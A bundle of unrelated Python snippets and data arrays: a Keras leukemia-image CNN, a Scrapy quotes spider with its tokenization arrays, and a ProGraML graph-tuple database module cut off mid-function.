Activation("relu"), ), MaxPooling2D(pool_size=(3, 3), strides=(2, 2)), ], # Reduction dual-path module3 Add(), [ ( Conv2D(96, (3, 3), strides=(2, 2)), BatchNormalization( axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, beta_initializer="zeros", gamma_initializer="ones", moving_mean_initializer="zeros", moving_variance_initializer="ones", beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, gamma_constraint=None, ), Activation("relu"), ), MaxPooling2D(pool_size=(3, 3), strides=(2, 2)), ], # Dual-path modules×10の定義 # --------------------------- # 畳み込み層の追加(112:フィルタ数) # バッチ正規化 # 活性化関数：ReLu # --------------------------- # Dual-path modules2の定義 # 畳み込み層の追加(48:フィルタ数) # バッチ正規化 # 活性化関数：ReLu # --------------------------- # Dual-path modules1 Add(), [ ( Conv2D(112, (1, 1), strides=(1, 1)), BatchNormalization( axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, beta_initializer="zeros", gamma_initializer="ones", moving_mean_initializer="zeros", moving_variance_initializer="ones", beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, gamma_constraint=None, ), Activation("relu"), ), ( Conv2D(48, (3, 3), strides=(1, 1)), BatchNormalization( axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, beta_initializer="zeros", gamma_initializer="ones", moving_mean_initializer="zeros", moving_variance_initializer="ones", beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, gamma_constraint=None, ), Activation("relu"), ), ], # # Dual-path modules2 # Add(), # [(Conv2D(112, (1, 1), strides=(1, 1)), # BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, # beta_initializer='zeros', gamma_initializer='ones', # moving_mean_initializer='zeros', moving_variance_initializer='ones', # beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, # gamma_constraint=None), # Activation('relu')), # (Conv2D(48, (3, 3), strides=(1, 1)), # BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, # beta_initializer='zeros', gamma_initializer='ones', # moving_mean_initializer='zeros', moving_variance_initializer='ones', # beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, # gamma_constraint=None), # Activation('relu'))], # # Dual-path modules3 # Add(), # [(Conv2D(112, (1, 1), strides=(1, 1)), # BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, # beta_initializer='zeros', gamma_initializer='ones', # moving_mean_initializer='zeros', moving_variance_initializer='ones', # beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, # gamma_constraint=None), # Activation('relu')), # (Conv2D(48, (3, 3), strides=(1, 1)), # BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, # beta_initializer='zeros', gamma_initializer='ones', # moving_mean_initializer='zeros', moving_variance_initializer='ones', # beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, # gamma_constraint=None), # Activation('relu'))], # # Dual-path modules4 # Add(), # [(Conv2D(112, (1, 1), strides=(1, 1)), # BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, # beta_initializer='zeros', gamma_initializer='ones', # moving_mean_initializer='zeros', moving_variance_initializer='ones', # beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, # gamma_constraint=None), # Activation('relu')), # (Conv2D(48, (3, 3), strides=(1, 1)), # BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, # beta_initializer='zeros', gamma_initializer='ones', # moving_mean_initializer='zeros', moving_variance_initializer='ones', # beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, # gamma_constraint=None), # Activation('relu'))], # # Dual-path modules5 # Add(), # [(Conv2D(112, (1, 1), strides=(1, 1)), # BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, # beta_initializer='zeros', gamma_initializer='ones', # moving_mean_initializer='zeros', moving_variance_initializer='ones', # beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, # gamma_constraint=None), # Activation('relu')), # (Conv2D(48, (3, 3), strides=(1, 1)), # BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, # beta_initializer='zeros', gamma_initializer='ones', # moving_mean_initializer='zeros', moving_variance_initializer='ones', # beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, # gamma_constraint=None), # Activation('relu'))], # # Dual-path modules6 # Add(), # [(Conv2D(112, (1, 1), strides=(1, 1)), # BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, # beta_initializer='zeros', gamma_initializer='ones', # moving_mean_initializer='zeros', moving_variance_initializer='ones', # beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, # gamma_constraint=None), # Activation('relu')), # (Conv2D(48, (3, 3), strides=(1, 1)), # BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, # beta_initializer='zeros', gamma_initializer='ones', # moving_mean_initializer='zeros', moving_variance_initializer='ones', # beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, # gamma_constraint=None), # Activation('relu'))], # # Dual-path modules7 # Add(), # [(Conv2D(112, (1, 1), strides=(1, 1)), # BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, # beta_initializer='zeros', gamma_initializer='ones', # moving_mean_initializer='zeros', moving_variance_initializer='ones', # beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, # gamma_constraint=None), # Activation('relu')), # (Conv2D(48, (3, 3), strides=(1, 1)), # BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, # beta_initializer='zeros', gamma_initializer='ones', # moving_mean_initializer='zeros', moving_variance_initializer='ones', # beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, # gamma_constraint=None), # Activation('relu'))], # # Dual-path modules8 # Add(), # [(Conv2D(112, (1, 1), strides=(1, 1)), # BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, # beta_initializer='zeros', gamma_initializer='ones', # moving_mean_initializer='zeros', moving_variance_initializer='ones', # beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, # gamma_constraint=None), # Activation('relu')), # (Conv2D(48, (3, 3), strides=(1, 1)), # BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, # beta_initializer='zeros', gamma_initializer='ones', # moving_mean_initializer='zeros', moving_variance_initializer='ones', # beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, # gamma_constraint=None), # Activation('relu'))], # # Dual-path modules9 # Add(), # [(Conv2D(112, (1, 1), strides=(1, 1)), # BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, # beta_initializer='zeros', gamma_initializer='ones', # moving_mean_initializer='zeros', moving_variance_initializer='ones', # beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, # gamma_constraint=None), # Activation('relu')), # (Conv2D(48, (3, 3), strides=(1, 1)), # BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, # beta_initializer='zeros', gamma_initializer='ones', # moving_mean_initializer='zeros', moving_variance_initializer='ones', # beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, # gamma_constraint=None), # Activation('relu'))], # # Dual-path modules10 # Add(), # [(Conv2D(112, (1, 1), strides=(1, 1)), # BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, # beta_initializer='zeros', gamma_initializer='ones', # moving_mean_initializer='zeros', moving_variance_initializer='ones', # beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, # gamma_constraint=None), # Activation('relu')), # (Conv2D(48, (3, 3), strides=(1, 1)), # BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, # beta_initializer='zeros', gamma_initializer='ones', # moving_mean_initializer='zeros', moving_variance_initializer='ones', # beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, # gamma_constraint=None), # Activation('relu'))], # 全結合 Add(), [ MaxPooling2D(pool_size=(2, 2), strides=None, padding="valid", data_format=None), Flatten(), Dense(256, activation="relu"), Dropout(0.5), Dense(num_classes, activation="softmax"), ], ) model = Model(_input, output) model.summary() # # 損失関数の設定 # opt = SGD(lr=0.01, momentum=0.0, decay=0.0, nesterov=False) # model.compile(loss='categorical_crossentropy', optimizer=opt, metrics=['accuracy']) # # # トレーニングの実施 # # 学習 # print("start training") # hist = model.fit(X_train, y_train, batch_size=32, epochs=30, validation_data=(X_test, y_test)) # # 評価 # print("start eval") # score = model.evaluate(X_test, y_test, batch_size=32, verbose=1) # verbose:途中結果表示 # print('Test Loss: ', score[0]) # print('Test Accuracy: ', score[1]) # # model.save('leukemia_cnn_supplementary.h5') # # # 学習の様子をグラフへ描画 # # 正解率の推移をプロット # fig = plt.figure() # plt.plot(hist.history['accuracy']) # plt.plot(hist.history['val_accuracy']) # plt.title('Accuracy') # plt.legend(['train', 'test'], loc='upper left') # fig.savefig('result/cnn_supplementary/cnn_accuracy_supplementary.png') # plt.close() # # ロスの推移をプロット # fig = plt.figure() # plt.plot(hist.history['loss']) # plt.plot(hist.history['val_loss']) # plt.title('Loss') # plt.legend(['train', 'test'], loc='upper left') # fig.savefig('result/cnn_supplementary/cnn_loss_supplementary.png') # plt.close() # # Confusion matrix作成 # plt.figure() # y_pred = model.predict(X_test) # y_test = imagefiles['y_test'] # one hot vector化されているのでロードし直す # cm = confusion_matrix(y_test, np.argmax(y_pred, axis=1)) # ticklabels = ["blasts_highSSC_granulocytes", # "blasts_highSSC_middle_ugly", # "blasts", # "normal cells", # "blasts_highSSC_upper_dead"] # sns.heatmap(cm, annot=True, cmap='Blues', yticklabels=ticklabels, xticklabels=ticklabels) # plt.ylabel("Correct") # plt.xlabel("Prediction") # plt.tight_layout() # plt.savefig('result/cnn_supplementary/confusion_matrix_cnn_supplementary.png') # plt.close() # # # F1 micro/macro # f1_macro = f1_score(y_test, np.argmax(y_pred, axis=1), average="macro") # f1_micro = f1_score(y_test, np.argmax(y_pred, axis=1), average="micro") # print(f"f1_macro:{f1_macro}") # print(f"f1_miro:{f1_micro}")
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ed2f3bbc7eb0a4d8f5ccdb7a12e00cbddab04dd0
_method_adaptors = dict() def register_dist_adaptor(method_name): def decorator(func): _method_adaptors[method_name] = func def wrapper(*args, **kwargs): func(*args, **kwargs) return wrapper return decorator def get_nearest_method(method_name, parser): """ all candidates toked all protocol untoked input: queries: [ (protocol, (candidate, sen_id, start, K), (candidate, sen_id, start, K), ...) (protocol, (candidate, sen_id, start, K), (candidate, sen_id, start, K), ...) (protocol, (candidate, sen_id, start, K), (candidate, sen_id, start, K), ...) ] output: [ nearest_idx1, nearest_idx2, nearest_idx3, ... ] """ return _method_adaptors[method_name](parser) def get_method_names(): return list(_method_adaptors.keys())
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837534ebc953dae966154921709398ab2b2e0b33
# © MNELAB developers # # License: BSD (3-clause) from .dependencies import have from .syntax import PythonHighlighter from .utils import count_locations, image_path, interface_style, natural_sort
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[ 1, 2, 4, 6, 9, 11, 22, 1, 2, 1, 2, 10, 11, 15, 17, 18, 19, 25, 26, 1, 1, 5, 7, 19, 26, 31, 1, 5, 7, 13, 20, 27, 36, 38, 1, 5, 7, 12, 19, 25, 26, 35, 36, 42, 43, 47, 48, 58, 59, 64, 65, 73, 74, 78 ]
ce26ad27b7729164e27c845e2803a670b506bad8
# -*- coding: utf-8 -*- import scrapy class QuoteesxtractorSpider(scrapy.Spider): name = "quoteEsxtractor" allowed_domains = ["quotes.toscrape.com"] start_urls = ["http://quotes.toscrape.com/"] def parse(self, response): for quote in response.css(".quote"): # print(quote.getall()) result = { "text": quote.css("span.text::text").get(), "author": quote.css("small.author::text").get(), "tags": quote.css("div.tags a.tag::text").getall(), } yield result
[ 40, 8571, 10633, 63, 6471, 50, 61, 8571, 222, 485, 33057, 126, 499, 222, 842, 43524, 326, 125, 48147, 45084, 45, 37903, 126, 51, 45084, 731, 303, 655, 299, 332, 7360, 17583, 125, 48147, 39, 303, 6671, 100, 20840, 299, 3059, 25041, 51, 471, 48617, 51, 527, 1465, 303, 1496, 100, 11420, 299, 3059, 544, 574, 25041, 51, 471, 48617, 51, 527, 52, 1465, 465, 684, 3203, 45, 803, 49, 1808, 731, 310, 456, 15379, 347, 1808, 51, 2096, 5804, 7360, 10320, 343, 607, 1489, 45, 7360, 51, 390, 483, 1177, 343, 1074, 299, 320, 419, 332, 897, 582, 15379, 51, 2096, 459, 681, 51, 897, 422, 897, 1912, 390, 1046, 419, 332, 2133, 582, 15379, 51, 2096, 459, 4901, 51, 2133, 422, 897, 1912, 390, 1046, 419, 332, 3981, 582, 15379, 51, 2096, 459, 526, 51, 3981, 331, 51, 2159, 422, 897, 1912, 390, 483, 1046, 343, 339, 343, 6785, 1074, 222 ]
[ "#", "Ġ-*-", "Ġcoding", ":", "Ġutf", "-", "8", "Ġ-*-", "Ċ", "import", "Ġscrap", "y", "ĊĊ", "Ċ", "class", "ĠQuote", "es", "x", "tractor", "Spider", "(", "scrap", "y", ".", "Spider", "):", "ĊĠĠĠ", "Ġname", "Ġ=", "Ġ\"", "quote", "Es", "x", "tractor", "\"", "ĊĠĠĠ", "Ġallowed", "_", "domains", "Ġ=", "Ġ[\"", "quotes", ".", "to", "scrape", ".", "com", "\"]", "ĊĠĠĠ", "Ġstart", "_", "urls", "Ġ=", "Ġ[\"", "http", "://", "quotes", ".", "to", "scrape", ".", "com", "/", "\"]", "ĊĊĠĠĠ", "Ġdef", "Ġparse", "(", "self", ",", "Ġresponse", "):", "ĊĠĠĠĠĠĠĠ", "Ġfor", "Ġquote", "Ġin", "Ġresponse", ".", "css", "(\".", "quote", "\"):", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġprint", "(", "quote", ".", "get", "all", "())", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġresult", "Ġ=", "Ġ{", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "text", "\":", "Ġquote", ".", "css", "(\"", "span", ".", "text", "::", "text", "\").", "get", "(),", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "author", "\":", "Ġquote", ".", "css", "(\"", "small", ".", "author", "::", "text", "\").", "get", "(),", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "tags", "\":", "Ġquote", ".", "css", "(\"", "div", ".", "tags", "Ġa", ".", "tag", "::", "text", "\").", "get", "all", "(),", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ}", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġyield", "Ġresult", "Ċ" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 18, 18, 18 ]
[ 1, 2, 6, 13, 14, 18, 19, 20, 24, 1, 7, 13, 14, 1, 1, 6, 12, 14, 15, 22, 28, 29, 34, 35, 36, 42, 44, 4, 9, 11, 13, 18, 20, 21, 28, 29, 4, 12, 13, 20, 22, 25, 31, 32, 34, 40, 41, 44, 46, 4, 10, 11, 15, 17, 20, 24, 27, 33, 34, 36, 42, 43, 46, 47, 49, 4, 8, 14, 15, 19, 20, 29, 31, 8, 12, 18, 21, 30, 31, 34, 37, 42, 45, 12, 14, 20, 21, 26, 27, 30, 33, 36, 12, 19, 21, 23, 16, 18, 22, 24, 30, 31, 34, 36, 40, 41, 45, 47, 51, 54, 57, 60, 16, 18, 24, 26, 32, 33, 36, 38, 43, 44, 50, 52, 56, 59, 62, 65, 16, 18, 22, 24, 30, 31, 34, 36, 39, 40, 44, 46, 47, 50, 52, 56, 59, 62, 65, 68, 12, 14, 12, 18, 25 ]
09788cf04ab5190a33b43e3756f4dbd7d78977a5
# Copyright 2019-2020 the ProGraML authors. # # Contact Chris Cummins <[email protected]>. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """This module defines a database for storing graph tuples.""" import datetime import pathlib import pickle from typing import Any from typing import Callable from typing import Dict from typing import List from typing import Optional from typing import Tuple import networkx as nx import sqlalchemy as sql from sqlalchemy.dialects import sqlite from deeplearning.ml4pl import run_id from deeplearning.ml4pl.graphs import programl_pb2 from deeplearning.ml4pl.graphs.labelled import graph_tuple as graph_tuple_lib from labm8.py import app from labm8.py import crypto from labm8.py import decorators from labm8.py import humanize from labm8.py import jsonutil from labm8.py import progress from labm8.py import sqlutil FLAGS = app.FLAGS # Note we declare a graph_db flag at the bottom of this file, after declaring # the Database class. Base = sql.ext.declarative.declarative_base() class Meta(Base, sqlutil.TablenameFromClassNameMixin): """A key-value database metadata store, with additional run ID.""" # Unused integer ID for this row. id: int = sql.Column(sql.Integer, primary_key=True) # The run ID that generated this <key,value> pair. run_id: str = run_id.RunId.SqlStringColumn() timestamp: datetime.datetime = sqlutil.ColumnFactory.MillisecondDatetime() # The <key,value> pair. key: str = sql.Column(sql.String(128), index=True) pickled_value: bytes = sql.Column(sqlutil.ColumnTypes.LargeBinary(), nullable=False) @property def value(self) -> Any: """De-pickle the column value.""" return pickle.loads(self.pickled_value) @classmethod def Create(cls, key: str, value: Any): """Construct a table entry.""" return Meta(key=key, pickled_value=pickle.dumps(value)) class GraphTuple(Base, sqlutil.PluralTablenameFromCamelCapsClassNameMixin): """A table of graph tuples. For every GraphTuple, there should be a corresponding GraphTupleData row containing the pickled graph tuple as a binary blob. The reason for dividing the data horizontally across two tables is to enable fast scanning of graph metadata, without needing to churn through a table of pickled binary blobs. """ id: int = sql.Column(sql.Integer, primary_key=True) # A reference to the 'id' column of a # deeplearning.ml4pl.ir.ir_database.IntermediateRepresentationFile database # row. There is no foreign key relationship here because they are separate # databases. ir_id: int = sql.Column(sql.Integer, nullable=False, index=True) # An integer used to split databases of graphs into separate graphs, e.g. # train/val/test split. split: Optional[int] = sql.Column(sql.Integer, nullable=True, index=True) # The size of the program graph. node_count: int = sql.Column(sql.Integer, nullable=False) control_edge_count: int = sql.Column(sql.Integer, nullable=False) data_edge_count: int = sql.Column(sql.Integer, nullable=False) call_edge_count: int = sql.Column(sql.Integer, nullable=False) # The maximum value of the 'position' attribute of edges. # Although this is an integral value, we store it as a float when using sqlite # backend because for an unknown reason, sql.func.max(edge_position_max) # returns a byte array when aggregating over sqlite backend. edge_position_max: int = sql.Column(sql.Integer().with_variant(sqlite.FLOAT(), "sqlite"), nullable=False) # The dimensionality of node-level features and labels. node_x_dimensionality: int = sql.Column(sql.Integer, default=0, nullable=False) node_y_dimensionality: int = sql.Column(sql.Integer, default=0, nullable=False) # The dimensionality of graph-level features and labels. graph_x_dimensionality: int = sql.Column(sql.Integer, default=0, nullable=False) graph_y_dimensionality: int = sql.Column(sql.Integer, default=0, nullable=False) # The size of the pickled graph tuple in bytes. pickled_graph_tuple_size: int = sql.Column(sql.Integer, nullable=False) # A copy of attributes from the # deeplearning.ml4pl.graphs.labelled.data_flow_graphs.DataFlowAnnotatedGraph # tuple for storing metadata of data flow analysis graphs. If not relevant , # these columns may be null. data_flow_steps: int = sql.Column(sql.Integer, nullable=True) data_flow_root_node: int = sql.Column(sql.Integer, nullable=True) data_flow_positive_node_count: int = sql.Column(sql.Integer, nullable=True) timestamp: datetime.datetime = sqlutil.ColumnFactory.MillisecondDatetime() # Create the one-to-one relationship from GraphTuple to GraphTupleData. data: "GraphTupleData" = sql.orm.relationship("GraphTupleData", uselist=False, cascade="all, delete-orphan") @property def has_data_flow(self) -> bool: """Returns whether graph tuple has data flow columns.""" return self.data_flow_steps is not None @property def edge_count(self) -> int: return self.control_edge_count + self.data_edge_count + self.call_edge_count # Joined table accessors: @property def sha1(self) -> str: """Return the sha1 of the graph tuple.""" return self.data.sha1 @decorators.memoized_property def tuple(self) -> graph_tuple_lib.GraphTuple: """Un-pickle the graph tuple and cache the binary results.""" return pickle.loads(self.data.pickled_graph_tuple) def ToFile(self, path: pathlib.Path) -> None: """Dump the pickled graph tuple to file. This is lossy, as the ir_id column is not dumped. Args: path: The path of the graph tuple to write. """ with open(path, "wb") as f: pickle.dump(self.tuple, f) # Factory methods: @classmethod def FromFile(cls, path: pathlib.Path, ir_id: int): """Construct a mapped database instance from a file generated by ToFile(). Args: path: The path of the file to read. ir_id: The IR id of the graph tuple. Returns: A GraphTuple instance. """ with open(path, "rb") as f: graph_tuple = pickle.load(f) return cls.CreateFromGraphTuple(graph_tuple, ir_id) @classmethod def CreateFromGraphTuple( cls, graph_tuple: graph_tuple_lib.GraphTuple, ir_id: int, split: Optional[int] = None, ) -> "GraphTuple": """Create a mapped database instance from the given graph tuple. This is the preferred method of populating databases of graph tuples, as it contains the boilerplate to extract and set the metadata columns, and handles the join between the two data/metadata tables invisibly. Args: graph_tuple: The graph tuple to map. ir_id: The intermediate representation ID. split: The split value of this graph. Returns: A GraphTuple instance. """ pickled_graph_tuple = pickle.dumps(graph_tuple) return GraphTuple( ir_id=ir_id, split=split, node_count=graph_tuple.node_count, control_edge_count=graph_tuple.control_edge_count, data_edge_count=graph_tuple.data_edge_count, call_edge_count=graph_tuple.call_edge_count, edge_position_max=graph_tuple.edge_position_max, node_x_dimensionality=graph_tuple.node_x_dimensionality, node_y_dimensionality=graph_tuple.node_y_dimensionality, graph_x_dimensionality=graph_tuple.graph_x_dimensionality, graph_y_dimensionality=graph_tuple.graph_y_dimensionality, pickled_graph_tuple_size=len(pickled_graph_tuple), data=GraphTupleData( sha1=crypto.sha1(pickled_graph_tuple), pickled_graph_tuple=pickled_graph_tuple, ), ) @classmethod def CreateFromNetworkX( cls, g: nx.MultiDiGraph, ir_id: int, split: Optional[int] = None, ) -> "GraphTuple": """Create a mapped database instance from the given networkx graph. This is the preferred method of populating databases of graph tuples, as it contains the boilerplate to extract and set the metadata columns, and handles the join between the two data/metadata tables invisibly. Args: g: The networkx graph. ir_id: The intermediate representation ID. split: The split value of this graph. Returns: A GraphTuple instance. """ graph_tuple = graph_tuple_lib.GraphTuple.CreateFromNetworkX(g) mapped = cls.CreateFromGraphTuple(graph_tuple, ir_id=ir_id, split=split) mapped.data_flow_steps = g.graph.get("data_flow_steps") mapped.data_flow_root_node = g.graph.get("data_flow_root_node") mapped.data_flow_positive_node_count = g.graph.get("data_flow_positive_node_count") return mapped @classmethod def CreateEmpty(cls, ir_id: int) -> "GraphTuple": """Create an "empty" graph tuple. An empty graph tuple can be used to signal that the conversion to GraphTuple failed, and is signalled by a node_count of 0. An empty graph tuple has no corresponding GraphTupleData row. """ return GraphTuple( ir_id=ir_id, node_count=0, control_edge_count=0, data_edge_count=0, call_edge_count=0, edge_position_max=0, pickled_graph_tuple_size=0, ) @classmethod def CreateFromProgramGraph( cls, program_graph: programl_pb2.ProgramGraph, ir_id: int, split: Optional[int] = None, ) -> "GraphTuple": """Create a mapped database instance from the given annotated graph. This is the preferred method of populating databases of graph tuples, as it contains the boilerplate to extract and set the metadata columns, and handles the join between the two data/metadata tables invisibly. Args: annotated_graph: A DataFlowAnnotatedGraph instance. ir_id: The intermediate representation ID. split: The split value of this graph. Returns: A GraphTuple instance. """ graph_tuple = graph_tuple_lib.GraphTuple.CreateFromProgramGraph(program_graph) mapped = cls.CreateFromGraphTuple(graph_tuple, ir_id, split) mapped.data_flow_steps = program_graph.data_flow_steps mapped.data_flow_root_node = program_graph.data_flow_root_node mapped.data_flow_positive_node_count = program_graph.data_flow_positive_node_count return mapped class GraphTupleData(Base, sqlutil.PluralTablenameFromCamelCapsClassNameMixin): """The pickled graph tuple data. See GraphTuple for the parent table.""" id: int = sql.Column( sql.Integer, sql.ForeignKey("graph_tuples.id", onupdate="CASCADE", ondelete="CASCADE"), primary_key=True, ) # The sha1sum of the 'pickled_graph_tuple' column. There is no requirement # that graph tuples be unique, but, should you wish to enforce this, # you can group by this sha1 column and prune the duplicates. sha1: str = sql.Column(sql.String(40), nullable=False, index=True) # The pickled GraphTuple data. pickled_graph_tuple: bytes = sql.Column(sqlutil.ColumnTypes.LargeBinary(), nullable=False) # A registry of database statics, where each entry is a <name, property> tuple. database_statistics_registry: List[Tuple[str, Callable[["Database"], Any]]] = [] def database_statistic(func): """A decorator to mark a method on a Database as a database static. Database statistics can be accessed using Database.stats_json property to retrieve a <name, vale> dictionary. """ global database_statistics_registry database_statistics_registry.append((func.__name__, func)) return property(func) class Database(sqlutil.Database): """A database of GraphTuples.""" def __init__( self, url: str, must_exist: bool = False, ctx: progress.ProgressContext = progress.NullContext, ): super(Database, self).__init__(url, Base, must_exist=must_exist) self.ctx = ctx # Lazily evaluated attributes. self._graph_tuple_stats = None self._splits = None self._split_counts = None ############################################################################## # Database stats. These are evaluated lazily and the results cached. There is # no cache invalidation strategy - after modifying the database, you must # manually call RefreshStats() to ensure that stale stats are re-computed. ############################################################################## @database_statistic def graph_count(self) -> int: """The number of non-empty graphs in the database.""" return int(self.graph_tuple_stats.graph_count) @database_statistic def ir_count(self) -> int: """The number of distinct intermediate representations that the non-empty graphs are constructed from. """ return int(self.graph_tuple_stats.ir_count or 0) @database_statistic def split_count(self) -> int: """The number of distinct splits in the database.""" return int(self.graph_tuple_stats.split_count or 0) @database_statistic def node_count(self) -> int: """The total node count in non-empty graphs.""" return int(self.graph_tuple_stats.node_count or 0) @database_statistic def edge_count(self) -> int: """The total edge count in non-empty graphs.""" return int(self.graph_tuple_stats.edge_count or 0) @database_statistic def control_edge_count(self) -> int: """The total control edge count in non-empty graphs.""" return int(self.graph_tuple_stats.control_edge_count or 0) @database_statistic def data_edge_count(self) -> int: """The total data edge count in non-empty graphs.""" return int(self.graph_tuple_stats.data_edge_count or 0) @database_statistic def call_edge_count(self) -> int: """The total call edge count in non-empty graphs.""" return int(self.graph_tuple_stats.call_edge_count or 0) @database_statistic def node_count_max(self) -> int: """The maximum node count in non-empty graphs.""" return int(self.graph_tuple_stats.node_count_max or 0) @database_statistic def edge_count_max(self) -> int: """The maximum edge count in non-empty graphs.""" return int(self.graph_tuple_stats.edge_count_max or 0) @database_statistic def control_edge_count_max(self) -> int: """The maximum control edge count in non-empty graphs.""" return int(self.graph_tuple_stats.control_edge_count_max or 0) @database_statistic def data_edge_count_max(self) -> int: """The maximum data edge count in non-empty graphs.""" return int(self.graph_tuple_stats.data_edge_count_max or 0) @database_statistic def call_edge_count_max(self) -> int: """The maximum call edge count in non-empty graphs.""" return int(self.graph_tuple_stats.call_edge_count_max or 0) @database_statistic def edge_position_max(self) -> int: """The maximum edge position in non-empty graphs.""" return int(self.graph_tuple_stats.edge_position_max or 0) @database_statistic def node_x_dimensionality(self) -> int: """The node x dimensionality of all non-empty graphs.""" return int(self.graph_tuple_stats.node_x_dimensionality or 0) @database_statistic def node_y_dimensionality(self) -> int: """The node y dimensionality of all non-empty graphs.""" return int(self.graph_tuple_stats.node_y_dimensionality or 0) @database_statistic def graph_x_dimensionality(self) -> int: """The graph x dimensionality of all non-empty graphs.""" return int(self.graph_tuple_stats.graph_x_dimensionality or 0) @database_statistic def graph_y_dimensionality(self) -> int: """The graph y dimensionality of all non-empty graphs.""" return int(self.graph_tuple_stats.graph_y_dimensionality or 0) @database_statistic def graph_data_size(self) -> int: """The total size of the non-empty graph data, in bytes.""" return int(self.graph_tuple_stats.graph_data_size or 0) @database_statistic def graph_data_size_min(self) -> int: """The minimum size of the non-empty graph tuple data, in bytes.""" return int(self.graph_tuple_stats.graph_data_size_min or 0) @database_statistic def graph_data_size_avg(self) -> float: """The average size of the non-empty graph tuple data, in bytes.""" return float(self.graph_tuple_stats.graph_data_size_avg or 0) @database_statistic def graph_data_size_max(self) -> int: """The maximum size of the non-empty graph tuple data, in bytes.""" return int(self.graph_tuple_stats.graph_data_size_max or 0) @database_statistic def has_data_flow(self) -> bool: """Return whether the graph database has data flow annotations. This is only true if *all* columns have data flow values. """ return self.graph_count and not self.data_flow_null_count @database_statistic def data_flow_null_count(self) -> int: """The number of database rows without data flow information. If > 0, then has_data_flow is False. """ return self.graph_count - int(self.graph_tuple_stats.data_flow_steps_count or 0) @database_statistic def data_flow_steps_min(self) -> Optional[int]: """The minimum data flow steps for non-empty graphs.""" if self.has_data_flow: return int(self.graph_tuple_stats.data_flow_steps_min or 0) @database_statistic def data_flow_steps_avg(self) -> Optional[float]: """The average data flow steps for non-empty graphs.""" if self.has_data_flow: return float(self.graph_tuple_stats.data_flow_steps_avg) @database_statistic def data_flow_steps_max(self) -> Optional[int]: """The maximum data flow steps for non-empty graphs.""" if self.has_data_flow: return int(self.graph_tuple_stats.data_flow_steps_max or 0) @database_statistic def data_flow_positive_node_count_min(self) -> Optional[int]: """The minimum data flow positive node count for non-empty graphs.""" if self.has_data_flow: return int(self.graph_tuple_stats.data_flow_positive_node_count_min or 0) @database_statistic def data_flow_positive_node_count_avg(self) -> Optional[int]: """The minimum data flow average node count for non-empty graphs.""" if self.has_data_flow: return 